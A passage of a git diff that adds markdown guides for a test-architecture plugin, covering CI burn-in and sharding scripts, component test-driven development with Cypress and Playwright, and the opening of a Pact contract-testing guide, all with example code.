+          retention-days: 30
+
+      - name: Comment PR with results
+        if: github.event_name == 'pull_request'
+        uses: daun/playwright-report-comment@v3
+        with:
+          report-path: playwright-report/
+```
+
+**Key Points**:
+
+- **Install once, reuse everywhere**: Dependencies cached across all jobs
+- **Burn-in first**: Changed specs run 10x before full suite
+- **Fail-fast disabled**: All shards run to completion for full evidence
+- **Parallel execution**: 4 shards cut execution time by ~75%
+- **Artifact retention**: 30 days for reports, 7 days for failure debugging
+
+---
+
+### Example 2: Burn-In Loop Pattern (Standalone Script)
+
+**Context**: Reusable bash script for burn-in testing changed specs locally or in CI.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/burn-in-changed.sh
+# Usage: ./scripts/burn-in-changed.sh [iterations] [base-branch]
+
+set -e  # Exit on error
+
+# Configuration
+ITERATIONS=${1:-10}
+BASE_BRANCH=${2:-main}
+SPEC_PATTERN='\.(spec|test)\.(ts|js|tsx|jsx)$'
+
+echo "🔥 Burn-In Test Runner"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Iterations: $ITERATIONS"
+echo "Base branch: $BASE_BRANCH"
+echo ""
+
+# Detect changed test files
+echo "📋 Detecting changed test files..."
+CHANGED_SPECS=$(git diff --name-only $BASE_BRANCH...HEAD | grep -E "$SPEC_PATTERN" || echo "")
+
+if [ -z "$CHANGED_SPECS" ]; then
+  echo "✅ No test files changed. Skipping burn-in."
+  exit 0
+fi
+
+echo "Changed test files:"
+echo "$CHANGED_SPECS" | sed 's/^/  - /'
+echo ""
+
+# Count specs
+SPEC_COUNT=$(echo "$CHANGED_SPECS" | wc -l | xargs)
+echo "Running burn-in on $SPEC_COUNT test file(s)..."
+echo ""
+
+# Burn-in loop
+FAILURES=()
+for i in $(seq 1 $ITERATIONS); do
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+  echo "🔄 Iteration $i/$ITERATIONS"
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+
+  # Run tests with explicit file list
+  if npm run test -- $CHANGED_SPECS 2>&1 | tee "burn-in-log-$i.txt"; then
+    echo "✅ Iteration $i passed"
+  else
+    echo "❌ Iteration $i failed"
+    FAILURES+=($i)
+
+    # Save failure artifacts
+    mkdir -p burn-in-failures/iteration-$i
+    cp -r test-results/ burn-in-failures/iteration-$i/ 2>/dev/null || true
+    cp -r screenshots/ burn-in-failures/iteration-$i/ 2>/dev/null || true
+
+    echo ""
+    echo "🛑 BURN-IN FAILED on iteration $i"
+    echo "Failure artifacts saved to: burn-in-failures/iteration-$i/"
+    echo "Logs saved to: burn-in-log-$i.txt"
+    echo ""
+    exit 1
+  fi
+
+  echo ""
+done
+
+# Success summary
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "🎉 BURN-IN PASSED"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "All $ITERATIONS iterations passed for $SPEC_COUNT test file(s)"
+echo "Changed specs are stable and ready to merge."
+echo ""
+
+# Cleanup logs
+rm -f burn-in-log-*.txt
+
+exit 0
+```
+
+**Usage**:
+
+```bash
+# Run locally with default settings (10 iterations, compare to main)
+./scripts/burn-in-changed.sh
+
+# Custom iterations and base branch
+./scripts/burn-in-changed.sh 20 develop
+
+# Add to package.json
+{
+  "scripts": {
+    "test:burn-in": "bash scripts/burn-in-changed.sh",
+    "test:burn-in:strict": "bash scripts/burn-in-changed.sh 20"
+  }
+}
+```
+
+**Key Points**:
+
+- **Exit on first failure**: Flaky tests caught immediately
+- **Failure artifacts**: Saved per-iteration for debugging
+- **Flexible configuration**: Iterations and base branch customizable
+- **CI/local parity**: Same script runs in both environments
+- **Clear output**: Visual feedback on progress and results
+
+---
+
+### Example 3: Shard Orchestration with Result Aggregation
+
+**Context**: Advanced sharding strategy for large test suites with intelligent result merging.
+
+**Implementation**:
+
+```javascript
+// scripts/run-sharded-tests.js
+const { spawn } = require('child_process');
+const fs = require('fs');
+const path = require('path');
+
+/**
+ * Run tests across multiple shards and aggregate results
+ * Usage: node scripts/run-sharded-tests.js --shards=4 --env=staging
+ */
+
+const SHARD_COUNT = parseInt(process.env.SHARD_COUNT || '4');
+const TEST_ENV = process.env.TEST_ENV || 'local';
+const RESULTS_DIR = path.join(__dirname, '../test-results');
+
+console.log(`🚀 Running tests across ${SHARD_COUNT} shards`);
+console.log(`Environment: ${TEST_ENV}`);
+console.log('━'.repeat(50));
+
+// Ensure results directory exists
+if (!fs.existsSync(RESULTS_DIR)) {
+  fs.mkdirSync(RESULTS_DIR, { recursive: true });
+}
+
+/**
+ * Run a single shard
+ */
+function runShard(shardIndex) {
+  return new Promise((resolve, reject) => {
+    const shardId = `${shardIndex}/${SHARD_COUNT}`;
+    console.log(`\n📦 Starting shard ${shardId}...`);
+
+    const child = spawn('npx', ['playwright', 'test', `--shard=${shardId}`, '--reporter=json'], {
+      env: { ...process.env, TEST_ENV, SHARD_INDEX: shardIndex },
+      stdio: 'pipe',
+    });
+
+    let stdout = '';
+    let stderr = '';
+
+    child.stdout.on('data', (data) => {
+      stdout += data.toString();
+      process.stdout.write(data);
+    });
+
+    child.stderr.on('data', (data) => {
+      stderr += data.toString();
+      process.stderr.write(data);
+    });
+
+    child.on('close', (code) => {
+      // Save shard results
+      const resultFile = path.join(RESULTS_DIR, `shard-${shardIndex}.json`);
+      try {
+        const result = JSON.parse(stdout);
+        fs.writeFileSync(resultFile, JSON.stringify(result, null, 2));
+        console.log(`✅ Shard ${shardId} completed (exit code: ${code})`);
+        resolve({ shardIndex, code, result });
+      } catch (error) {
+        console.error(`❌ Shard ${shardId} failed to parse results:`, error.message);
+        reject({ shardIndex, code, error });
+      }
+    });
+
+    child.on('error', (error) => {
+      console.error(`❌ Shard ${shardId} process error:`, error.message);
+      reject({ shardIndex, error });
+    });
+  });
+}
+
+/**
+ * Aggregate results from all shards
+ */
+function aggregateResults() {
+  console.log('\n📊 Aggregating results from all shards...');
+
+  const shardResults = [];
+  let totalTests = 0;
+  let totalPassed = 0;
+  let totalFailed = 0;
+  let totalSkipped = 0;
+  let totalFlaky = 0;
+
+  for (let i = 1; i <= SHARD_COUNT; i++) {
+    const resultFile = path.join(RESULTS_DIR, `shard-${i}.json`);
+    if (fs.existsSync(resultFile)) {
+      const result = JSON.parse(fs.readFileSync(resultFile, 'utf8'));
+      shardResults.push(result);
+
+      // Aggregate stats
+      totalTests += result.stats?.expected || 0;
+      totalPassed += result.stats?.expected || 0;
+      totalFailed += result.stats?.unexpected || 0;
+      totalSkipped += result.stats?.skipped || 0;
+      totalFlaky += result.stats?.flaky || 0;
+    }
+  }
+
+  const summary = {
+    totalShards: SHARD_COUNT,
+    environment: TEST_ENV,
+    totalTests,
+    passed: totalPassed,
+    failed: totalFailed,
+    skipped: totalSkipped,
+    flaky: totalFlaky,
+    duration: shardResults.reduce((acc, r) => acc + (r.duration || 0), 0),
+    timestamp: new Date().toISOString(),
+  };
+
+  // Save aggregated summary
+  fs.writeFileSync(path.join(RESULTS_DIR, 'summary.json'), JSON.stringify(summary, null, 2));
+
+  console.log('\n━'.repeat(50));
+  console.log('📈 Test Results Summary');
+  console.log('━'.repeat(50));
+  console.log(`Total tests:    ${totalTests}`);
+  console.log(`✅ Passed:      ${totalPassed}`);
+  console.log(`❌ Failed:      ${totalFailed}`);
+  console.log(`⏭️  Skipped:     ${totalSkipped}`);
+  console.log(`⚠️  Flaky:       ${totalFlaky}`);
+  console.log(`⏱️  Duration:    ${(summary.duration / 1000).toFixed(2)}s`);
+  console.log('━'.repeat(50));
+
+  return summary;
+}
+
+/**
+ * Main execution
+ */
+async function main() {
+  const startTime = Date.now();
+  const shardPromises = [];
+
+  // Run all shards in parallel
+  for (let i = 1; i <= SHARD_COUNT; i++) {
+    shardPromises.push(runShard(i));
+  }
+
+  try {
+    await Promise.allSettled(shardPromises);
+  } catch (error) {
+    console.error('❌ One or more shards failed:', error);
+  }
+
+  // Aggregate results
+  const summary = aggregateResults();
+
+  const totalTime = ((Date.now() - startTime) / 1000).toFixed(2);
+  console.log(`\n⏱️  Total execution time: ${totalTime}s`);
+
+  // Exit with failure if any tests failed
+  if (summary.failed > 0) {
+    console.error('\n❌ Test suite failed');
+    process.exit(1);
+  }
+
+  console.log('\n✅ All tests passed');
+  process.exit(0);
+}
+
+main().catch((error) => {
+  console.error('Fatal error:', error);
+  process.exit(1);
+});
+```
+
+**package.json integration**:
+
+```json
+{
+  "scripts": {
+    "test:sharded": "node scripts/run-sharded-tests.js",
+    "test:sharded:ci": "SHARD_COUNT=8 TEST_ENV=staging node scripts/run-sharded-tests.js"
+  }
+}
+```
+
+**Key Points**:
+
+- **Parallel shard execution**: All shards run simultaneously
+- **Result aggregation**: Unified summary across shards
+- **Failure detection**: Exit code reflects overall test status
+- **Artifact preservation**: Individual shard results saved for debugging
+- **CI/local compatibility**: Same script works in both environments
+
+---
+
+### Example 4: Selective Test Execution (Changed Files + Tags)
+
+**Context**: Optimize CI by running only relevant tests based on file changes and tags.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/selective-test-runner.sh
+# Intelligent test selection based on changed files and test tags
+
+set -e
+
+BASE_BRANCH=${BASE_BRANCH:-main}
+TEST_ENV=${TEST_ENV:-local}
+
+echo "🎯 Selective Test Runner"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Base branch: $BASE_BRANCH"
+echo "Environment: $TEST_ENV"
+echo ""
+
+# Detect changed files (all types, not just tests)
+CHANGED_FILES=$(git diff --name-only $BASE_BRANCH...HEAD)
+
+if [ -z "$CHANGED_FILES" ]; then
+  echo "✅ No files changed. Skipping tests."
+  exit 0
+fi
+
+echo "Changed files:"
+echo "$CHANGED_FILES" | sed 's/^/  - /'
+echo ""
+
+# Determine test strategy based on changes
+run_smoke_only=false
+run_all_tests=false
+affected_specs=""
+
+# Critical files = run all tests
+if echo "$CHANGED_FILES" | grep -qE '(package\.json|package-lock\.json|playwright\.config|cypress\.config|\.github/workflows)'; then
+  echo "⚠️  Critical configuration files changed. Running ALL tests."
+  run_all_tests=true
+
+# Auth/security changes = run all auth + smoke tests
+elif echo "$CHANGED_FILES" | grep -qE '(auth|login|signup|security)'; then
+  echo "🔒 Auth/security files changed. Running auth + smoke tests."
+  npm run test -- --grep "@auth|@smoke"
+  exit $?
+
+# API changes = run integration + smoke tests
+elif echo "$CHANGED_FILES" | grep -qE '(api|service|controller)'; then
+  echo "🔌 API files changed. Running integration + smoke tests."
+  npm run test -- --grep "@integration|@smoke"
+  exit $?
+
+# UI component changes = run related component tests
+elif echo "$CHANGED_FILES" | grep -qE '\.(tsx|jsx|vue)$'; then
+  echo "🎨 UI components changed. Running component + smoke tests."
+
+  # Extract component names and find related tests
+  components=$(echo "$CHANGED_FILES" | grep -E '\.(tsx|jsx|vue)$' | xargs -I {} basename {} | sed 's/\.[^.]*$//')
+  for component in $components; do
+    # Find tests matching component name
+    affected_specs+=$(find tests -name "*${component}*" -type f) || true
+  done
+
+  if [ -n "$affected_specs" ]; then
+    echo "Running tests for: $affected_specs"
+    npm run test -- $affected_specs --grep "@smoke"
+  else
+    echo "No specific tests found. Running smoke tests only."
+    npm run test -- --grep "@smoke"
+  fi
+  exit $?
+
+# Documentation/config only = run smoke tests
+elif echo "$CHANGED_FILES" | grep -qE '\.(md|txt|json|yml|yaml)$'; then
+  echo "📝 Documentation/config files changed. Running smoke tests only."
+  run_smoke_only=true
+else
+  echo "⚙️  Other files changed. Running smoke tests."
+  run_smoke_only=true
+fi
+
+# Execute selected strategy
+if [ "$run_all_tests" = true ]; then
+  echo ""
+  echo "Running full test suite..."
+  npm run test
+elif [ "$run_smoke_only" = true ]; then
+  echo ""
+  echo "Running smoke tests..."
+  npm run test -- --grep "@smoke"
+fi
+```
+
+**Usage in GitHub Actions**:
+
+```yaml
+# .github/workflows/selective-tests.yml
+name: Selective Tests
+on: pull_request
+
+jobs:
+  selective-tests:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0
+
+      - name: Run selective tests
+        run: bash scripts/selective-test-runner.sh
+        env:
+          BASE_BRANCH: ${{ github.base_ref }}
+          TEST_ENV: staging
+```
+
+**Key Points**:
+
+- **Intelligent routing**: Tests selected based on changed file types
+- **Tag-based filtering**: Use @smoke, @auth, @integration tags
+- **Fast feedback**: Only relevant tests run on most PRs
+- **Safety net**: Critical changes trigger full suite
+- **Component mapping**: UI changes run related component tests
+
+---
+
+## CI Configuration Checklist
+
+Before deploying your CI pipeline, verify:
+
+- [ ] **Caching strategy**: node_modules, npm cache, browser binaries cached
+- [ ] **Timeout budgets**: Each job has reasonable timeout (10-30 min)
+- [ ] **Artifact retention**: 30 days for reports, 7 days for failure artifacts
+- [ ] **Parallelization**: Matrix strategy uses fail-fast: false
+- [ ] **Burn-in enabled**: Changed specs run 5-10x before merge
+- [ ] **wait-on app startup**: CI waits for app (wait-on: '<http://localhost:3000>')
+- [ ] **Secrets documented**: README lists required secrets (API keys, tokens)
+- [ ] **Local parity**: CI scripts runnable locally (npm run test:ci)
+
+## Integration Points
+
+- Used in workflows: `*ci` (CI/CD pipeline setup)
+- Related fragments: `selective-testing.md`, `playwright-config.md`, `test-quality.md`
+- CI tools: GitHub Actions, GitLab CI, CircleCI, Jenkins
+
+_Source: Murat CI/CD strategy blog, Playwright/Cypress workflow examples, enterprise production pipelines_
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/component-tdd.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/component-tdd.md
new file mode 100644
index 0000000..d14ba8f
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/component-tdd.md
@@ -0,0 +1,486 @@
+# Component Test-Driven Development Loop
+
+## Principle
+
+Start every UI change with a failing component test (`cy.mount`, Playwright component test, or RTL `render`). Follow the Red-Green-Refactor cycle: write a failing test (red), make it pass with minimal code (green), then improve the implementation (refactor). Ship only after the cycle completes. Keep component tests under 100 lines, isolated with fresh providers per test, and validate accessibility alongside functionality.
+
+## Rationale
+
+Component TDD provides immediate feedback during development. Failing tests (red) clarify requirements before writing code. Minimal implementations (green) prevent over-engineering. Refactoring with passing tests ensures changes don't break functionality. Isolated tests with fresh providers prevent state bleed in parallel runs. Accessibility assertions catch usability issues early. Visual debugging (Cypress runner, Storybook, Playwright trace viewer) accelerates diagnosis when tests fail.
+
+## Pattern Examples
+
+### Example 1: Red-Green-Refactor Loop
+
+**Context**: When building a new component, start with a failing test that describes the desired behavior. Implement just enough to pass, then refactor for quality.
+
+**Implementation**:
+
+```typescript
+// Step 1: RED - Write failing test
+// Button.cy.tsx (Cypress Component Test)
+import { Button } from './Button';
+
+describe('Button Component', () => {
+  it('should render with label', () => {
+    cy.mount(<Button label="Click Me" />);
+    cy.contains('Click Me').should('be.visible');
+  });
+
+  it('should call onClick when clicked', () => {
+    const onClickSpy = cy.stub().as('onClick');
+    cy.mount(<Button label="Submit" onClick={onClickSpy} />);
+
+    cy.get('button').click();
+    cy.get('@onClick').should('have.been.calledOnce');
+  });
+});
+
+// Run test: FAILS - Button component doesn't exist yet
+// Error: "Cannot find module './Button'"
+
+// Step 2: GREEN - Minimal implementation
+// Button.tsx
+type ButtonProps = {
+  label: string;
+  onClick?: () => void;
+};
+
+export const Button = ({ label, onClick }: ButtonProps) => {
+  return <button onClick={onClick}>{label}</button>;
+};
+
+// Run test: PASSES - Component renders and handles clicks
+
+// Step 3: REFACTOR - Improve implementation
+// Add disabled state, loading state, variants
+type ButtonProps = {
+  label: string;
+  onClick?: () => void;
+  disabled?: boolean;
+  loading?: boolean;
+  variant?: 'primary' | 'secondary' | 'danger';
+};
+
+export const Button = ({
+  label,
+  onClick,
+  disabled = false,
+  loading = false,
+  variant = 'primary'
+}: ButtonProps) => {
+  return (
+    <button
+      onClick={onClick}
+      disabled={disabled || loading}
+      className={`btn btn-${variant}`}
+      data-testid="button"
+    >
+      {loading ? <Spinner /> : label}
+    </button>
+  );
+};
+
+// Step 4: Expand tests for new features
+describe('Button Component', () => {
+  it('should render with label', () => {
+    cy.mount(<Button label="Click Me" />);
+    cy.contains('Click Me').should('be.visible');
+  });
+
+  it('should call onClick when clicked', () => {
+    const onClickSpy = cy.stub().as('onClick');
+    cy.mount(<Button label="Submit" onClick={onClickSpy} />);
+
+    cy.get('button').click();
+    cy.get('@onClick').should('have.been.calledOnce');
+  });
+
+  it('should be disabled when disabled prop is true', () => {
+    cy.mount(<Button label="Submit" disabled={true} />);
+    cy.get('button').should('be.disabled');
+  });
+
+  it('should show spinner when loading', () => {
+    cy.mount(<Button label="Submit" loading={true} />);
+    cy.get('[data-testid="spinner"]').should('be.visible');
+    cy.get('button').should('be.disabled');
+  });
+
+  it('should apply variant styles', () => {
+    cy.mount(<Button label="Delete" variant="danger" />);
+    cy.get('button').should('have.class', 'btn-danger');
+  });
+});
+
+// Run tests: ALL PASS - Refactored component still works
+
+// Playwright Component Test equivalent
+import { test, expect } from '@playwright/experimental-ct-react';
+import { Button } from './Button';
+
+test.describe('Button Component', () => {
+  test('should call onClick when clicked', async ({ mount }) => {
+    let clicked = false;
+    const component = await mount(
+      <Button label="Submit" onClick={() => { clicked = true; }} />
+    );
+
+    await component.getByRole('button').click();
+    expect(clicked).toBe(true);
+  });
+
+  test('should be disabled when loading', async ({ mount }) => {
+    const component = await mount(<Button label="Submit" loading={true} />);
+    await expect(component.getByRole('button')).toBeDisabled();
+    await expect(component.getByTestId('spinner')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Red: Write failing test first - clarifies requirements before coding
+- Green: Implement minimal code to pass - prevents over-engineering
+- Refactor: Improve code quality while keeping tests green
+- Expand: Add tests for new features after refactoring
+- Cycle repeats: Each new feature starts with a failing test
+
+### Example 2: Provider Isolation Pattern
+
+**Context**: When testing components that depend on context providers (React Query, Auth, Router), wrap them with required providers in each test to prevent state bleed between tests.
+
+**Implementation**:
+
+```typescript
+// test-utils/AllTheProviders.tsx
+import { FC, ReactNode } from 'react';
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
+import { BrowserRouter } from 'react-router-dom';
+import { AuthProvider } from '../contexts/AuthContext';
+
+type Props = {
+  children: ReactNode;
+  initialAuth?: { user: User | null; token: string | null };
+};
+
+export const AllTheProviders: FC<Props> = ({ children, initialAuth }) => {
+  // Create NEW QueryClient per test (prevent state bleed)
+  const queryClient = new QueryClient({
+    defaultOptions: {
+      queries: { retry: false },
+      mutations: { retry: false }
+    }
+  });
+
+  return (
+    <QueryClientProvider client={queryClient}>
+      <BrowserRouter>
+        <AuthProvider initialAuth={initialAuth}>
+          {children}
+        </AuthProvider>
+      </BrowserRouter>
+    </QueryClientProvider>
+  );
+};
+
+// Cypress custom mount command
+// cypress/support/component.tsx
+import { mount } from 'cypress/react18';
+import { AllTheProviders } from '../../test-utils/AllTheProviders';
+
+Cypress.Commands.add('wrappedMount', (component, options = {}) => {
+  const { initialAuth, ...mountOptions } = options;
+
+  return mount(
+    <AllTheProviders initialAuth={initialAuth}>
+      {component}
+    </AllTheProviders>,
+    mountOptions
+  );
+});
+
+// Usage in tests
+// UserProfile.cy.tsx
+import { UserProfile } from './UserProfile';
+
+describe('UserProfile Component', () => {
+  it('should display user when authenticated', () => {
+    const user = { id: 1, name: 'John Doe', email: 'john@example.com' };
+
+    cy.wrappedMount(<UserProfile />, {
+      initialAuth: { user, token: 'fake-token' }
+    });
+
+    cy.contains('John Doe').should('be.visible');
+    cy.contains('john@example.com').should('be.visible');
+  });
+
+  it('should show login prompt when not authenticated', () => {
+    cy.wrappedMount(<UserProfile />, {
+      initialAuth: { user: null, token: null }
+    });
+
+    cy.contains('Please log in').should('be.visible');
+  });
+});
+
+// Playwright Component Test with providers
+import { test, expect } from '@playwright/experimental-ct-react';
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
+import { UserProfile } from './UserProfile';
+import { AuthProvider } from '../contexts/AuthContext';
+
+test.describe('UserProfile Component', () => {
+  test('should display user when authenticated', async ({ mount }) => {
+    const user = { id: 1, name: 'John Doe', email: 'john@example.com' };
+    const queryClient = new QueryClient();
+
+    const component = await mount(
+      <QueryClientProvider client={queryClient}>
+        <AuthProvider initialAuth={{ user, token: 'fake-token' }}>
+          <UserProfile />
+        </AuthProvider>
+      </QueryClientProvider>
+    );
+
+    await expect(component.getByText('John Doe')).toBeVisible();
+    await expect(component.getByText('john@example.com')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Create NEW providers per test (QueryClient, Router, Auth)
+- Prevents state pollution between tests
+- `initialAuth` prop allows testing different auth states
+- Custom mount command (`wrappedMount`) reduces boilerplate
+- Providers wrap component, not the entire test suite
+
+### Example 3: Accessibility Assertions
+
+**Context**: When testing components, validate accessibility alongside functionality using axe-core, ARIA roles, labels, and keyboard navigation.
+
+**Implementation**:
+
+```typescript
+// Cypress with axe-core
+// cypress/support/component.tsx
+import 'cypress-axe';
+
+// Form.cy.tsx
+import { Form } from './Form';
+
+describe('Form Component Accessibility', () => {
+  beforeEach(() => {
+    cy.wrappedMount(<Form />);
+    cy.injectAxe(); // Inject axe-core
+  });
+
+  it('should have no accessibility violations', () => {
+    cy.checkA11y(); // Run axe scan
+  });
+
+  it('should have proper ARIA labels', () => {
+    cy.get('input[name="email"]').should('have.attr', 'aria-label', 'Email address');
+    cy.get('input[name="password"]').should('have.attr', 'aria-label', 'Password');
+    cy.get('button[type="submit"]').should('have.attr', 'aria-label', 'Submit form');
+  });
+
+  it('should support keyboard navigation', () => {
+    // Tab through form fields
+    cy.get('input[name="email"]').focus().type('test@example.com');
+    cy.realPress('Tab'); // cypress-real-events plugin
+    cy.focused().should('have.attr', 'name', 'password');
+
+    cy.focused().type('password123');
+    cy.realPress('Tab');
+    cy.focused().should('have.attr', 'type', 'submit');
+
+    cy.realPress('Enter'); // Submit via keyboard
+    cy.contains('Form submitted').should('be.visible');
+  });
+
+  it('should announce errors to screen readers', () => {
+    cy.get('button[type="submit"]').click(); // Submit without data
+
+    // Error has role="alert" and aria-live="polite"
+    cy.get('[role="alert"]')
+      .should('be.visible')
+      .and('have.attr', 'aria-live', 'polite')
+      .and('contain', 'Email is required');
+  });
+
+  it('should have sufficient color contrast', () => {
+    cy.checkA11y(null, {
+      rules: {
+        'color-contrast': { enabled: true }
+      }
+    });
+  });
+});
+
+// Playwright with axe-playwright
+import { test, expect } from '@playwright/experimental-ct-react';
+import AxeBuilder from '@axe-core/playwright';
+import { Form } from './Form';
+
+test.describe('Form Component Accessibility', () => {
+  test('should have no accessibility violations', async ({ mount, page }) => {
+    await mount(<Form />);
+
+    const accessibilityScanResults = await new AxeBuilder({ page })
+      .analyze();
+
+    expect(accessibilityScanResults.violations).toEqual([]);
+  });
+
+  test('should support keyboard navigation', async ({ mount, page }) => {
+    const component = await mount(<Form />);
+
+    await component.getByLabel('Email address').fill('test@example.com');
+    await page.keyboard.press('Tab');
+
+    await expect(component.getByLabel('Password')).toBeFocused();
+
+    await component.getByLabel('Password').fill('password123');
+    await page.keyboard.press('Tab');
+
+    await expect(component.getByRole('button', { name: 'Submit form' })).toBeFocused();
+
+    await page.keyboard.press('Enter');
+    await expect(component.getByText('Form submitted')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Use `cy.checkA11y()` (Cypress) or `AxeBuilder` (Playwright) for automated accessibility scanning
+- Validate ARIA roles, labels, and live regions
+- Test keyboard navigation (Tab, Enter, Escape)
+- Ensure errors are announced to screen readers (`role="alert"`, `aria-live`)
+- Check color contrast meets WCAG standards
+
+### Example 4: Visual Regression Test
+
+**Context**: When testing components, capture screenshots to detect unintended visual changes. Use Playwright visual comparison or Cypress snapshot plugins.
+
+**Implementation**:
+
+```typescript
+// Playwright visual regression
+import { test, expect } from '@playwright/experimental-ct-react';
+import { Button } from './Button';
+
+test.describe('Button Visual Regression', () => {
+  test('should match primary button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Primary" variant="primary" />);
+
+    // Capture and compare screenshot
+    await expect(component).toHaveScreenshot('button-primary.png');
+  });
+
+  test('should match secondary button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Secondary" variant="secondary" />);
+    await expect(component).toHaveScreenshot('button-secondary.png');
+  });
+
+  test('should match disabled button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Disabled" disabled={true} />);
+    await expect(component).toHaveScreenshot('button-disabled.png');
+  });
+
+  test('should match loading button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Loading" loading={true} />);
+    await expect(component).toHaveScreenshot('button-loading.png');
+  });
+});
+
+// Cypress visual regression with percy or snapshot plugins
+import { Button } from './Button';
+
+describe('Button Visual Regression', () => {
+  it('should match primary button snapshot', () => {
+    cy.wrappedMount(<Button label="Primary" variant="primary" />);
+
+    // Option 1: Percy (cloud-based visual testing)
+    cy.percySnapshot('Button - Primary');
+
+    // Option 2: cypress-plugin-snapshots (local snapshots)
+    cy.get('button').toMatchImageSnapshot({
+      name: 'button-primary',
+      threshold: 0.01 // 1% threshold for pixel differences
+    });
+  });
+
+  it('should match hover state', () => {
+    cy.wrappedMount(<Button label="Hover Me" />);
+    cy.get('button').realHover(); // cypress-real-events
+    cy.percySnapshot('Button - Hover State');
+  });
+
+  it('should match focus state', () => {
+    cy.wrappedMount(<Button label="Focus Me" />);
+    cy.get('button').focus();
+    cy.percySnapshot('Button - Focus State');
+  });
+});
+
+// Playwright configuration for visual regression
+// playwright.config.ts
+export default defineConfig({
+  expect: {
+    toHaveScreenshot: {
+      maxDiffPixels: 100, // Allow 100 pixels difference
+      threshold: 0.2 // 20% threshold
+    }
+  },
+  use: {
+    screenshot: 'only-on-failure'
+  }
+});
+
+// Update snapshots when intentional changes are made
+// npx playwright test --update-snapshots
+```
+
+**Key Points**:
+
+- Playwright: Use `toHaveScreenshot()` for built-in visual comparison
+- Cypress: Use Percy (cloud) or snapshot plugins (local) for visual testing
+- Capture different states: default, hover, focus, disabled, loading
+- Set threshold for acceptable pixel differences (avoid false positives)
+- Update snapshots when visual changes are intentional
+- Visual tests catch unintended CSS/layout regressions
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (component test generation), `*automate` (component test expansion), `*framework` (component testing setup)
+- **Related fragments**:
+  - `test-quality.md` - Keep component tests <100 lines, isolated, focused
+  - `fixture-architecture.md` - Provider wrapping patterns, custom mount commands
+  - `data-factories.md` - Factory functions for component props
+  - `test-levels-framework.md` - When to use component tests vs E2E tests
+
+## TDD Workflow Summary
+
+**Red-Green-Refactor Cycle**:
+
+1. **Red**: Write failing test describing desired behavior
+2. **Green**: Implement minimal code to make test pass
+3. **Refactor**: Improve code quality, tests stay green
+4. **Repeat**: Each new feature starts with failing test
+
+**Component Test Checklist**:
+
+- [ ] Test renders with required props
+- [ ] Test user interactions (click, type, submit)
+- [ ] Test different states (loading, error, disabled)
+- [ ] Test accessibility (ARIA, keyboard navigation)
+- [ ] Test visual regression (snapshots)
+- [ ] Isolate with fresh providers (no state bleed)
+- [ ] Keep tests <100 lines (split by intent)
+
+_Source: CCTDD repository, Murat component testing talks, Playwright/Cypress component testing docs._
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/contract-testing.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/contract-testing.md
new file mode 100644
index 0000000..443c46a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/contract-testing.md
@@ -0,0 +1,1050 @@
+# Contract Testing Essentials (Pact)
+
+## Principle
+
+Contract testing validates API contracts between consumer and provider services without requiring integrated end-to-end tests. Store consumer contracts alongside integration specs, version contracts semantically, and publish on every CI run. Provider verification before merge surfaces breaking changes immediately, while explicit fallback behavior (timeouts, retries, error payloads) captures resilience guarantees in contracts.
+
+> **Pact.js Utils Note**: When `tea_use_pactjs_utils` is enabled, prefer the patterns in the `pactjs-utils-*.md` fragments over the raw Pact.js patterns shown below. The pactjs-utils library eliminates boilerplate for provider states, verifier configuration, and request filters. See `pactjs-utils-overview.md` for the decision tree.
+
+## Rationale
+
+Traditional integration testing requires running both consumer and provider simultaneously, creating slow, flaky tests with complex setup. Contract testing decouples services: consumers define expectations (pact files), providers verify against those expectations independently. This enables parallel development, catches breaking changes early, and documents API behavior as executable specifications. Pair contract tests with API smoke tests to validate data mapping and UI rendering in tandem.
+
+> **Recommended**: When `tea_use_pactjs_utils` is enabled, use `@seontechnologies/pactjs-utils` utilities instead of the manual patterns below. The library handles JsonMap conversion, verifier configuration, and request filter assembly automatically. See the `pactjs-utils-overview.md`, `pactjs-utils-consumer-helpers.md`, `pactjs-utils-provider-verifier.md`, and `pactjs-utils-request-filter.md` fragments for the simplified approach.
+
+## Pattern Examples
+
+### Example 1: Pact Consumer Test (Frontend → Backend API)
+
+**Context**: React application consuming a user management API, defining expected interactions.
+
+**Implementation**:
+
+```typescript
+// tests/contract/user-api.pact.spec.ts
+import { PactV3, MatchersV3 } from '@pact-foundation/pact';
+import { getUserById, createUser, User } from '@/api/user-service';
+
+const { like, eachLike, string, integer } = MatchersV3;
+
+/**
+ * Consumer-Driven Contract Test
+ * - Consumer (React app) defines expected API behavior
+ * - Generates pact file for provider to verify
+ * - Runs in isolation (no real backend required)
+ */
+
+const provider = new PactV3({
+  consumer: 'user-management-web',
+  provider: 'user-api-service',
+  dir: './pacts', // Output directory for pact files
+  logLevel: 'warn',
+});
+
+describe('User API Contract', () => {
+  describe('GET /users/:id', () => {
+    it('should return user when user exists', async () => {
